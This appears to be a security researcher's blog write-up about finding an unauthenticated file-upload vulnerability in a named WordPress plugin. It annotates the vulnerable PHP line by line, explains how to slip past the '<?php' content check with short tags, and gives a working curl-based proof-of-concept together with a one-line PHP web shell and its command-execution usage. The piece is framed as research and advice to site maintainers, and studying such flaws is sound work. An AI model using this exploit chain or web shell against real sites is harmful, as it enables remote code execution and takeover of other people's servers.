Finding A Vulnerability
Looking at 38,000 plugins one file at a time would take much too long. Instead, I looked at files with specific names like upload.php, download.php or proxy.php. The file names alluded to some operation of the plugin that is very sensitive and possibly done insecurely. I also wanted the vulnerability to not require a valid Wordpress user. I thought vulnerabilities that didn't require user authentication would be the most fun.
Vulnerability Criteria
Doesn't require authenticated Wordpress user
MUST Processes user input via $_GET,$_POST,$_REQUEST
Doesn't check if accessed directly
Must have reachable code, not just defining a class
Developing an Exploit
I'll take a section of code that is vulnerable to remote file upload and step through it line by line as to what is required to successfully exploit it. My comments are in blue.
Vulnerable Code
27 if ( isset( $_POST['DATA_KEY'] ) ) {
Line 27: To reach the code we need DATA_KEY defined via POST
.
29 $dataKey = $_POST['DATA_KEY'];
30 $_SESSION[$dataKey]['file_uploaded'] = '';
.
32 if ( isset( $_POST['OP_TYPE'] ) ) {
Line 32: OP_TYPE also needs to be set to continue execution
34 $op_type = $_POST['OP_TYPE'];
35 $file_type = $op_type . '_file';
Line 35: OP_TYPE + _file will also need to be defined for $_FILES in line 37 below
37 if ( isset( $_FILES[$file_type] ) && !empty( $_FILES[$file_type] ) ) {
38
39 $file = $_FILES[$file_type];
40 $file_error = $file['error'];
41
42 if ( $file_error === UPLOAD_ERR_OK ) {
43
44 $tmp_name = $file['tmp_name'];
45
46 $file_type = false;
47 if( function_exists( 'finfo_fopen' ) ) {
48 $finfo = finfo_open( FILEINFO_MIME );
49 $file_type = finfo_file( $finfo, $tmp_name );
50 finfo_close( $finfo );
51 }
52 elseif( function_exists( 'mime_content_type' ) ) {
53 $file_type = mime_content_type( $tmp_name );
Line 53: mime_content_type() determines mime-type based on file contents, so a basic web shell
is best
54 }
55 elseif ( !is_dir( $tmp_name ) && ( $fn = @fopen( $tmp_name , "rb" ) ) ) {
56 $bin = fread( $fn, $maxlen = 3072 );
57 fclose( $fn );
58 if ( strpos( $bin, "<?php" ) !== false )
Line 58: Sets the file_type variable to the mime type application/x-httpd-php based on the
presence of the string <?php, we can get around this by using short code which some servers
still allow
59 $file_type = "application/x-httpd-php";
60 }
65
66 if ( empty ( $file_type ) )
67 $file_type = $file['type'];
68
69 $csv_mimetypes = array(
70 'text/csv',
71 'text/plain',
72 'application/csv',
73 'text/comma-separated-values',
74 'application/excel',
75 'application/vnd.ms-excel',
76 'application/vnd.msexcel',
77 'text/anytext',
78 'application/txt',
79 );
81 if( in_array( $file_type, $csv_mimetypes ) ) {
Line 81: If the mime type is not present in that array throw an error and exit
83 if ( isset( $_POST['UPLOAD_DIR'] ) ) {
Line 83: We will need to define our upload path, this can be hard to guess but is vital for
exploitation
85 $wpsc_upload_dir = $_POST['UPLOAD_DIR'];
86 $dst_name = $file['name'];
87 $dest_file = $wpsc_upload_dir . $dst_name;
88 $dest_file = str_replace( '\\', '/', $dest_file ); // fix path
89
90 if ( move_uploaded_file( $tmp_name, $dest_file ) ) {
91 $_SESSION[$dataKey]['file_uploaded'] = $dest_file;
92 echo "success";
The required parameters and fields that we need defined are below. These are required when we make our POST request to get a proof of concept working.
We need a $_POST request with DATA_KEY defined.
Need a $_POST request with OP_TYPE defined as part of our filename.
Also need $_POST with UPLOAD_DIR pointing at a writable path in web root.
our $_FILES variable needs to have $OP_TYPE_FILE defined and pointing at our payload.
Our payload needs to exist locally from our adversarial system.
Exploit:
<?php
echo "Running PoC against target site<br>";
$uploadfile="/var/www/s.php3";
$ch =
curl_init("http://wpsite/wp-content/plugins/csv2wpec-coupon/csv2wpecCoupon_FileUpload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('UPLOAD_DIR'=>'/usr/share/wordpress/wp-content/uploads/','OP_TYPE'=>'shell','DATA_KEY'=>1,'shell_file'=>"@$uploadfile",'folder'=>'/usr/share/wordpress/wp-content/uploads/','name'=>'s.php3'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Where s.php3* is a small web shell like:
<?=@`$_GET[c]`;
Usage : http://wpsite/wp-content/uploads/shell.php3?c=id
* Credit https://gist.github.com/mastahyeti/1526009
Shell Access
Conclusion
I'm still actively looking at the security of newly published Wordpress plugins and software in general, and I plan to continue documenting tips and tidbits I discover as I go. If you're a Wordpress site maintainer or someone looking to find vulnerabilities, it's always a good idea to look at the code you are deploying.